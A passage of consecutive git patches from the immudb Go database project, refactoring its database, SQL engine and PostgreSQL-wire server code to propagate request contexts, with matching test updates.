engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS entries (id INTEGER, value BLOB, ts INTEGER, PRIMARY KEY id);", map[string]interface{}{}) if err != nil { panic(err) } @@ -199,8 +200,9 @@ func main() { log.Printf("Committer %d is inserting data...\r\n", id) for i := 0; i < c.kvCount; i++ { entry := <-entries - _, _, err = engine.Exec("INSERT INTO entries (id, value, ts) VALUES (@id, @value, now());", - map[string]interface{}{"id": entry.id, "value": entry.value}, nil) + _, _, err = engine.Exec(context.Background(), nil, + "INSERT INTO entries (id, value, ts) VALUES (@id, @value, now());", + map[string]interface{}{"id": entry.id, "value": entry.value}) if err != nil { panic(err) } @@ -217,12 +219,12 @@ func main() { } log.Printf("Reader %d is reading data\n", id) for i := 1; i <= c.rdCount; i++ { - r, err := engine.Query("SELECT count() FROM entries where id<=@i;", map[string]interface{}{"i": i}, nil) + r, err := engine.Query(context.Background(), nil, "SELECT count() FROM entries where id<=@i;", map[string]interface{}{"i": i}) if err != nil { log.Printf("Error querying val %d: %s", i, err.Error()) panic(err) } - ret, err := r.Read() + ret, err := r.Read(context.Background()) if err != nil { log.Printf("Error reading val %d: %s", i, err.Error()) panic(err) @@ -243,11 +245,11 @@ func main() { wg.Wait() log.Printf("All committers done...\r\n") - r, err := engine.Query("SELECT count() FROM entries;", map[string]interface{}{}, nil) + r, err := engine.Query(context.Background(), nil, "SELECT count() FROM entries;", map[string]interface{}{}) if err != nil { panic(err) } - row, err := r.Read() + row, err := r.Read(context.Background()) if err != nil { panic(err) } From e1af01d3dfdffd8fe225732a3c37aa66a671f9e6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 17 Jan 2023 09:08:32 -0300 Subject: [PATCH 0150/1062] chore(pkg/database): context propagation Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 36 +++++++------- pkg/database/database_test.go | 4 +- pkg/database/reference.go | 4 +- pkg/database/replica_test.go | 18 +++---- pkg/database/sorted_set.go | 4 +- pkg/database/sql.go | 93 ++++++++++++++++++++++++----------- pkg/database/sql_test.go | 52 ++++++++++---------- 7 files changed, 122 insertions(+), 89 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index 6c5930875d..fe827a84d6 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -103,20 +103,20 @@ type DB interface { // SQL-related NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) - SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) - SQLExecPrepared(stmts []sql.SQLStmt, params map[string]interface{}, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) + SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) + SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) - InferParameters(sql string, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) - InferParametersPrepared(stmt sql.SQLStmt, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) + InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) + InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) - SQLQuery(req *schema.SQLQueryRequest, tx *sql.SQLTx) (*schema.SQLQueryResult, error) - SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedParam, tx *sql.SQLTx) (*schema.SQLQueryResult, error) - SQLQueryRowReader(stmt sql.DataSource, params map[string]interface{}, tx *sql.SQLTx) (sql.RowReader, error) + SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) + SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) + SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) - ListTables(tx *sql.SQLTx) (*schema.SQLQueryResult, error) - DescribeTable(table string, tx *sql.SQLTx) (*schema.SQLQueryResult, error) + ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) + DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) // Transactional layer WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error @@ -234,7 +234,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.Logger.Infof("Loading SQL Engine for database '%s' {replica = %v}...", dbName, op.replica) - err := dbi.initSQLEngine() + err := dbi.initSQLEngine(context.Background()) if err != nil { dbi.Logger.Errorf("Unable to load SQL Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) return @@ -266,8 +266,8 @@ func (d *db) releaseTx(tx *store.Tx) { d.txPool.Release(tx) } -func (d *db) initSQLEngine() error { - err := d.sqlEngine.SetCurrentDatabase(dbInstanceName) +func (d *db) initSQLEngine(ctx context.Context) error { + err := d.sqlEngine.SetCurrentDatabase(ctx, dbInstanceName) if err != nil && err != sql.ErrDatabaseDoesNotExist { return err } @@ -341,12 +341,12 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo if !op.replica { // TODO: get rid off this sql initialization - _, _, err = dbi.sqlEngine.ExecPreparedStmts([]sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil, nil) + _, _, err = dbi.sqlEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - err = dbi.sqlEngine.SetCurrentDatabase(dbInstanceName) + err = dbi.sqlEngine.SetCurrentDatabase(context.Background(), dbInstanceName) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } @@ -446,9 +446,9 @@ func (d *db) set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, var hdr *store.TxHeader if req.NoWait { - hdr, err = tx.AsyncCommit() + hdr, err = tx.AsyncCommit(ctx) } else { - hdr, err = tx.Commit() + hdr, err = tx.Commit(ctx) } if err != nil { return nil, err @@ -888,9 +888,9 @@ func (d *db) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema var hdr *store.TxHeader if req.NoWait { - hdr, err = tx.AsyncCommit() + hdr, err = tx.AsyncCommit(ctx) } else { - hdr, err = tx.Commit() + hdr, err = tx.Commit(ctx) } if err != nil { return nil, err diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index d28745f054..32b989c48e 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -550,10 +550,10 @@ func TestTxByID(t *testing.T) { }) require.NoError(t, err) - _, _, err = db.SQLExec(&schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER AUTO_INCREMENT, PRIMARY KEY id)"}, nil) + _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER AUTO_INCREMENT, PRIMARY KEY id)"}) require.NoError(t, err) - _, ctx1, err := db.SQLExec(&schema.SQLExecRequest{Sql: "INSERT INTO mytable() VALUES ()"}, nil) + _, ctx1, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "INSERT INTO mytable() VALUES ()"}) require.NoError(t, err) require.Len(t, ctx1, 1) diff --git a/pkg/database/reference.go b/pkg/database/reference.go index 99ce8a0f43..30e0a87797 100644 --- a/pkg/database/reference.go +++ b/pkg/database/reference.go @@ -103,9 +103,9 @@ func (d *db) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*s var hdr *store.TxHeader if req.NoWait { - hdr, err = tx.AsyncCommit() + hdr, err = tx.AsyncCommit(ctx) } else { - hdr, err = tx.Commit() + hdr, err = tx.Commit(ctx) } if err != nil { return nil, err diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index 50bb087f22..0eae7e9f6e 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -71,16 +71,16 @@ func TestReadOnlyReplica(t *testing.T) { }) require.Equal(t, ErrIsReplica, err) - _, _, err = replica.SQLExec(&schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)"}, nil) + _, _, err = replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)"}) require.Equal(t, ErrIsReplica, err) - _, err = replica.SQLQuery(&schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}, nil) + _, err = replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) require.Equal(t, ErrSQLNotReady, err) - _, err = replica.ListTables(nil) + _, err = replica.ListTables(context.Background(), nil) require.Equal(t, ErrSQLNotReady, err) - _, err = replica.DescribeTable("mytable", nil) + _, err = replica.DescribeTable(context.Background(), nil, "mytable") require.Equal(t, ErrSQLNotReady, err) _, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ @@ -99,10 +99,10 @@ func TestSwitchToReplica(t *testing.T) { replica := makeDbWith(t, "db", options) - _, _, err := replica.SQLExec(&schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)"}, nil) + _, _, err := replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)"}) require.NoError(t, err) - _, _, err = replica.SQLExec(&schema.SQLExecRequest{Sql: "INSERT INTO mytable(id, title) VALUES (1, 'TITLE1')"}, nil) + _, _, err = replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "INSERT INTO mytable(id, title) VALUES (1, 'TITLE1')"}) require.NoError(t, err) replica.AsReplica(true, false, 0) @@ -113,13 +113,13 @@ func TestSwitchToReplica(t *testing.T) { err = replica.DiscardPrecommittedTxsSince(state.TxId) require.Error(t, err, store.ErrIllegalArguments) - _, err = replica.ListTables(nil) + _, err = replica.ListTables(context.Background(), nil) require.NoError(t, err) - _, err = replica.DescribeTable("mytable", nil) + _, err = replica.DescribeTable(context.Background(), nil, "mytable") require.NoError(t, err) - _, err = replica.SQLQuery(&schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}, nil) + _, err = replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) require.NoError(t, err) _, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 895e4fc01b..bf40f6a392 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -84,9 +84,9 @@ func (d *db) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeade var hdr *store.TxHeader if req.NoWait { - hdr, err = tx.AsyncCommit() + hdr, err = tx.AsyncCommit(ctx) } else { - hdr, err = tx.Commit() + hdr, err = tx.Commit(ctx) } if err != nil { return nil, err diff --git a/pkg/database/sql.go b/pkg/database/sql.go index b8c0910764..78bdbbd6bd 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -31,8 +31,8 @@ import ( var ErrSQLNotReady = errors.New("SQL catalog not yet replicated") -func (d *db) reloadSQLCatalog() error { - err := d.sqlEngine.SetCurrentDatabase(dbInstanceName) +func (d *db) reloadSQLCatalog(ctx context.Context) error { + err := d.sqlEngine.SetCurrentDatabase(ctx, dbInstanceName) if err == sql.ErrDatabaseDoesNotExist { return ErrSQLNotReady } @@ -54,7 +54,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR defer d.mutex.Unlock() if d.isReplica() { - err := d.reloadSQLCatalog() + err := d.reloadSQLCatalog(ctx) if err != nil { return nil, err } @@ -224,18 +224,18 @@ func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex) (entry *sch }, err } -func (d *db) ListTables(tx *sql.SQLTx) (*schema.SQLQueryResult, error) { +func (d *db) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { - err := d.reloadSQLCatalog() + err := d.reloadSQLCatalog(ctx) if err != nil { return nil, err } } - catalog, err := d.sqlEngine.Catalog(tx) + catalog, err := d.sqlEngine.Catalog(ctx, tx) if err != nil { return nil, err } @@ -254,18 +254,18 @@ func (d *db) ListTables(tx *sql.SQLTx) (*schema.SQLQueryResult, error) { return res, nil } -func (d *db) DescribeTable(tableName string, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { +func (d *db) DescribeTable(ctx context.Context, tx *sql.SQLTx, tableName string) (*schema.SQLQueryResult, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { - err := d.reloadSQLCatalog() + err := d.reloadSQLCatalog(ctx) if err != nil { return nil, err } } - catalog, err := d.sqlEngine.Catalog(tx) + catalog, err := d.sqlEngine.Catalog(ctx, tx) if err != nil { return nil, err } @@ -328,11 +328,44 @@ func (d *db) DescribeTable(tableName string, tx *sql.SQLTx) (*schema.SQLQueryRes return res, nil } -func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) { - return d.sqlEngine.NewTx(ctx, opts) +func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, err error) { + txCtx, txCancel := context.WithCancel(context.Background()) + + defer func() { + if err != nil { + txCancel() + + if tx != nil { + tx.Cancel() + } + } + }() + + txChan := make(chan *sql.SQLTx) + errChan := make(chan error) + + go func() { + tx, err = d.sqlEngine.NewTx(txCtx, opts) + if err != nil { + errChan <- err + } else { + txChan <- tx + } + }() + + select { + case <-ctx.Done(): + { + return nil, ctx.Err() + } + case tx := <-txChan: + { + return tx, nil + } + } } -func (d *db) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { +func (d *db) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { if req == nil { return nil, nil, ErrIllegalArguments } @@ -348,10 +381,10 @@ func (d *db) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, params[p.Name] = schema.RawValue(p.Value) } - return d.SQLExecPrepared(stmts, params, tx) + return d.SQLExecPrepared(ctx, tx, stmts, params) } -func (d *db) SQLExecPrepared(stmts []sql.SQLStmt, params map[string]interface{}, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { +func (d *db) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { if len(stmts) == 0 { return nil, nil, ErrIllegalArguments } @@ -363,10 +396,10 @@ func (d *db) SQLExecPrepared(stmts []sql.SQLStmt, params map[string]interface{}, return nil, nil, ErrIsReplica } - return d.sqlEngine.ExecPreparedStmts(stmts, params, tx) + return d.sqlEngine.ExecPreparedStmts(ctx, tx, stmts, params) } -func (d *db) SQLQuery(req *schema.SQLQueryRequest, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { +func (d *db) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { if req == nil { return nil, ErrIllegalArguments } @@ -381,23 +414,23 @@ func (d *db) SQLQuery(req *schema.SQLQueryRequest, tx *sql.SQLTx) (*schema.SQLQu return nil, sql.ErrExpectingDQLStmt } - return d.SQLQueryPrepared(stmt, req.Params, tx) + return d.SQLQueryPrepared(ctx, tx, stmt, req.Params) } -func (d *db) SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedParam, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { +func (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) { params := make(map[string]interface{}) for _, p := range namedParams { params[p.Name] = schema.RawValue(p.Value) } - r, err := d.SQLQueryRowReader(stmt, params, tx) + r, err := d.SQLQueryRowReader(ctx, tx, stmt, params) if err != nil { return nil, err } defer r.Close() - colDescriptors, err := r.Columns() + colDescriptors, err := r.Columns(ctx) if err != nil { return nil, err } @@ -423,7 +456,7 @@ func (d *db) SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedPa res := &schema.SQLQueryResult{Columns: cols} for l := 1; ; l++ { - row, err := r.Read() + row, err := r.Read(ctx) if err == sql.ErrNoMoreRows { break } @@ -461,7 +494,7 @@ func (d *db) SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedPa return res, nil } -func (d *db) SQLQueryRowReader(stmt sql.DataSource, params map[string]interface{}, tx *sql.SQLTx) (sql.RowReader, error) { +func (d *db) SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { if stmt == nil { return nil, ErrIllegalArguments } @@ -470,41 +503,41 @@ func (d *db) SQLQueryRowReader(stmt sql.DataSource, params map[string]interface{ defer d.mutex.RUnlock() if d.isReplica() { - err := d.reloadSQLCatalog() + err := d.reloadSQLCatalog(ctx) if err != nil { return nil, err } } - return d.sqlEngine.QueryPreparedStmt(stmt, params, tx) + return d.sqlEngine.QueryPreparedStmt(ctx, tx, stmt, params) } -func (d *db) InferParameters(sql string, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) { +func (d *db) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { - err := d.reloadSQLCatalog() + err := d.reloadSQLCatalog(ctx) if err != nil { return nil, err } } - return d.sqlEngine.InferParameters(sql, tx) + return d.sqlEngine.InferParameters(ctx, tx, sql) } -func (d *db) InferParametersPrepared(stmt sql.SQLStmt, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) { +func (d *db) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { - err := d.reloadSQLCatalog() + err := d.reloadSQLCatalog(ctx) if err != nil { return nil, err } } - return d.sqlEngine.InferParametersPreparedStmts([]sql.SQLStmt{stmt}, tx) + return d.sqlEngine.InferParametersPreparedStmts(ctx, tx, []sql.SQLStmt{stmt}) } func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index e2ed155a27..bdd4f4db33 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -31,42 +31,42 @@ func TestSQLExecAndQuery(t *testing.T) { db.maxResultSize = 2 - _, _, err := db.SQLExecPrepared(nil, nil, nil) + _, _, err := db.SQLExecPrepared(context.Background(), nil, nil, nil) require.Equal(t, ErrIllegalArguments, err) - _, _, err = db.SQLExec(nil, nil) + _, _, err = db.SQLExec(context.Background(), nil, nil) require.Equal(t, ErrIllegalArguments, err) - _, _, err = db.SQLExec(&schema.SQLExecRequest{Sql: "invalid sql statement"}, nil) + _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "invalid sql statement"}) require.Error(t, err) - _, _, err = db.SQLExec(&schema.SQLExecRequest{Sql: "CREATE DATABASE db1"}, nil) + _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1"}) require.Error(t, err) - _, _, err = db.SQLExec(&schema.SQLExecRequest{Sql: "USE DATABASE db1"}, nil) + _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "USE DATABASE db1"}) require.Error(t, err) - ntx, ctxs, err := db.SQLExec(&schema.SQLExecRequest{Sql: ` + ntx, ctxs, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id) - `}, nil) + `}) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 1) - res, err := db.ListTables(nil) + res, err := db.ListTables(context.Background(), nil) require.NoError(t, err) require.Len(t, res.Rows, 1) - _, err = db.DescribeTable("table2", nil) + _, err = db.DescribeTable(context.Background(), nil, "table2") require.ErrorIs(t, err, sql.ErrTableDoesNotExist) - res, err = db.DescribeTable("table1", nil) + res, err = db.DescribeTable(context.Background(), nil, "table1") require.NoError(t, err) require.Len(t, res.Rows, 4) - ntx, ctxs, err = db.SQLExec(&schema.SQLExecRequest{Sql: ` + ntx, ctxs, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` INSERT INTO table1(title, active, payload) VALUES ('title1', null, null), ('title2', true, null), ('title3', false, x'AADD') - `}, nil) + `}) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 1) @@ -74,29 +74,29 @@ func TestSQLExecAndQuery(t *testing.T) { params := make([]*schema.NamedParam, 1) params[0] = &schema.NamedParam{Name: "active", Value: &schema.SQLValue{Value: &schema.SQLValue_B{B: true}}} - _, err = db.SQLQueryPrepared(nil, nil, nil) + _, err = db.SQLQueryPrepared(context.Background(), nil, nil, nil) require.Equal(t, ErrIllegalArguments, err) - _, err = db.SQLQuery(nil, nil) + _, err = db.SQLQuery(context.Background(), nil, nil) require.Equal(t, ErrIllegalArguments, err) - _, err = db.SQLQuery(&schema.SQLQueryRequest{Sql: "invalid sql statement"}, nil) + _, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "invalid sql statement"}) require.Error(t, err) - _, err = db.SQLQuery(&schema.SQLQueryRequest{Sql: "CREATE INDEX ON table1(title)"}, nil) + _, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "CREATE INDEX ON table1(title)"}) require.Equal(t, sql.ErrExpectingDQLStmt, err) q := "SELECT * FROM table1 LIMIT 1" - res, err = db.SQLQuery(&schema.SQLQueryRequest{Sql: q, Params: params}, nil) + res, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) require.NoError(t, err) require.Len(t, res.Rows, 1) q = "SELECT t.id, t.id as id2, title, active, payload FROM table1 t WHERE id <= 3 AND active != @active" - res, err = db.SQLQuery(&schema.SQLQueryRequest{Sql: q, Params: params}, nil) + res, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) require.ErrorIs(t, err, ErrResultSizeLimitReached) require.Len(t, res.Rows, 2) - inferredParams, err := db.InferParameters(q, nil) + inferredParams, err := db.InferParameters(context.Background(), nil, q) require.NoError(t, err) require.Len(t, inferredParams, 1) require.Equal(t, sql.BooleanType, inferredParams["active"]) @@ -105,7 +105,7 @@ func TestSQLExecAndQuery(t *testing.T) { require.NoError(t, err) require.Len(t, stmts, 1) - inferredParams, err = db.InferParametersPrepared(stmts[0], nil) + inferredParams, err = db.InferParametersPrepared(context.Background(), nil, stmts[0]) require.NoError(t, err) require.Len(t, inferredParams, 1) require.Equal(t, sql.BooleanType, inferredParams["active"]) @@ -184,24 +184,24 @@ func TestSQLExecAndQuery(t *testing.T) { func TestVerifiableSQLGet(t *testing.T) { db := makeDb(t) - _, _, err := db.SQLExec(&schema.SQLExecRequest{Sql: "CREATE DATABASE db1"}, nil) + _, _, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1"}) require.Error(t, err) - _, _, err = db.SQLExec(&schema.SQLExecRequest{Sql: "USE DATABASE db1"}, nil) + _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "USE DATABASE db1"}) require.Error(t, err) t.Run("correctly handle verified get when incorrect number of primary key values is given", func(t *testing.T) { - _, _, err := db.SQLExec(&schema.SQLExecRequest{Sql: ` + _, _, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` CREATE TABLE table1( pk1 INTEGER, pk2 INTEGER, PRIMARY KEY (pk1, pk2)) - `}, nil) + `}) require.NoError(t, err) - _, _, err = db.SQLExec(&schema.SQLExecRequest{Sql: ` + _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` INSERT INTO table1(pk1, pk2) VALUES (1,11), (2,22), (3,33) - `}, nil) + `}) require.NoError(t, err) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{ From 89c299a1d8327318019ec4c1441e33173ea3c2b9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 17 Jan 2023 09:38:07 -0300 Subject: [PATCH 0151/1062] chore(pkg/server): multi-grpc request context propagation Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 33 ++++++++++--------- pkg/pgsql/server/query_machine_test.go | 3 +- pkg/pgsql/server/request_handler.go | 3 +- pkg/pgsql/server/request_handler_test.go | 3 +- pkg/pgsql/server/session.go | 2 +- pkg/pgsql/server/session_test.go | 10 +++--- pkg/server/db_dummy_closed.go | 18 +++++----- pkg/server/db_dummy_closed_test.go | 18 +++++----- pkg/server/multidb_handler.go | 2 +- pkg/server/remote_storage_test.go | 2 +- .../internal/transactions/transactions.go | 20 +++++------ .../transactions/transactions_test.go | 6 ++-- pkg/server/sessions/manager.go | 6 ++-- pkg/server/sql.go | 8 ++--- pkg/server/transaction.go | 6 ++-- 15 files changed, 73 insertions(+), 67 deletions(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 9bfef14e34..dc718bf87a 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "errors" "fmt" "io" @@ -31,8 +32,8 @@ import ( fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" ) -//QueriesMachine ... -func (s *session) QueriesMachine() (err error) { +// QueriesMachine ... +func (s *session) QueriesMachine(ctx context.Context) (err error) { s.Lock() defer s.Unlock() @@ -66,7 +67,7 @@ func (s *session) QueriesMachine() (err error) { case fm.TerminateMsg: return s.mr.CloseConnection() case fm.QueryMsg: - if err = s.fetchAndWriteResults(v.GetStatements(), nil, nil, false); err != nil { + if err = s.fetchAndWriteResults(ctx, v.GetStatements(), nil, nil, false); err != nil { s.ErrorHandle(err) continue } @@ -83,7 +84,7 @@ func (s *session) QueriesMachine() (err error) { var resCols []*schema.Column var stmt sql.SQLStmt if !s.isInBlackList(v.Statements) { - if paramCols, resCols, err = s.inferParamAndResultCols(v.Statements); err != nil { + if paramCols, resCols, err = s.inferParamAndResultCols(ctx, v.Statements); err != nil { s.ErrorHandle(err) waitForSync = true continue @@ -199,7 +200,7 @@ func (s *session) QueriesMachine() (err error) { } case fm.Execute: //query execution - if err = s.fetchAndWriteResults(s.portals[v.PortalName].Statement.SQLStatement, + if err = s.fetchAndWriteResults(ctx, s.portals[v.PortalName].Statement.SQLStatement, s.portals[v.PortalName].Parameters, s.portals[v.PortalName].ResultColumnFormatCodes, true); err != nil { @@ -220,7 +221,7 @@ func (s *session) QueriesMachine() (err error) { } } -func (s *session) fetchAndWriteResults(statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { +func (s *session) fetchAndWriteResults(ctx context.Context, statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { if s.isInBlackList(statements) { return nil } @@ -246,11 +247,11 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N return pserr.ErrCreateDBStatementNotSupported } case *sql.SelectStmt: - if err = s.query(st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { + if err = s.query(ctx, st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { return err } case sql.SQLStmt: - if err = s.exec(st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { + if err = s.exec(ctx, st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { return err } } @@ -258,8 +259,8 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N return nil } -func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { - res, err := s.database.SQLQueryPrepared(st, parameters, nil) +func (s *session) query(ctx context.Context, st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { + res, err := s.database.SQLQueryPrepared(ctx, nil, st, parameters) if err != nil { return err } @@ -280,14 +281,14 @@ func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, res return nil } -func (s *session) exec(st sql.SQLStmt, namedParams []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { +func (s *session) exec(ctx context.Context, st sql.SQLStmt, namedParams []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { params := make(map[string]interface{}, len(namedParams)) for _, p := range namedParams { params[p.Name] = schema.RawValue(p.Value) } - if _, _, err := s.database.SQLExecPrepared([]sql.SQLStmt{st}, params, nil); err != nil { + if _, _, err := s.database.SQLExecPrepared(ctx, nil, []sql.SQLStmt{st}, params); err != nil { return err } @@ -309,7 +310,7 @@ type statement struct { Results 